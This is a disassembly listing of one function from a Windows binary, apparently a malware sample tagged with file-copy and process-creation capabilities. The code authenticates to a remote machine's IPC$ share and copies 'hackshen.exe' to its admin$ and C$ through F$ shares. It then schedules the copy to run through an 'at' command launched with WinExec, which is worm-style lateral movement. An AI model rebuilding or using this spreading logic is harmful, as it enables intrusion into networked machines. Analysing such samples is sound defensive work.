Function at 0x10007c3c
Capabilities:
Copy file
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x550
push ebx
push esi
push edi
push str.mpr.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.WNetAddConnection2A
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x37]
mov byte [ebp - 0x38], bl
push 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x38]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x10024864
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
test eax, eax
jne 0x10007cad
push 0x100270e8
lea eax, [ebp - 0x38]
push str.__s_
push eax
call esi
add esp, 0xc
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x54f]
mov byte [ebp - 0x550], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x14b]
mov byte [ebp - 0x14c], bl
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x550]
push str._sipc_
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x550]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push 1
mov dword [ebp - 0x24], 2
pop edi
mov dword [ebp - 0x20], ebx
push ebx
mov dword [ebp - 0x1c], ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0x100270ec
mov dword [ebp - 8], ebx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], ebx
push eax
call dword [ebp - 4]
cmp dword [ebp - 4], ebx
je 0x10007f30
call fcn.10007f37
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x404
lea eax, [ebp - 0x550]
push edi
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x550]
push str._s_admin_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x14c]
push str.admin__
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.10007f37
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, ebx
jne 0x10007eca
push edi
lea eax, [ebp - 0x550]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x550]
push str._sC_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x14c]
push str.C:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.10007f37
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, ebx
jne 0x10007eca
push edi
lea eax, [ebp - 0x550]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x550]
push str._sD_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x14c]
push str.D:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.10007f37
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, ebx
jne 0x10007eca
push edi
lea eax, [ebp - 0x550]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x550]
push str._sE_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x14c]
push str.E:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.10007f37
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, ebx
jne 0x10007eca
push edi
lea eax, [ebp - 0x550]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x550]
push str._sF_hackshen.exe
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x14c]
push str.F:hackshen.exe
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x550]
push ebx
push eax
call fcn.10007f37
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x10007f2c
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push edi
lea eax, [ebp - 0x550]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x14c]
push eax
movzx eax, word [ebp - 0x3e]
inc eax
inc eax
push eax
movzx eax, word [ebp - 0x40]
push eax
lea eax, [ebp - 0x550]
push dword [ebp + 8]
push str.at__s__d:_d__s
push eax
call esi
add esp, 0x24
lea eax, [ebp - 0x550]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
mov dword [0x10026fdc], 1
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
jmp 0x10007f32
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret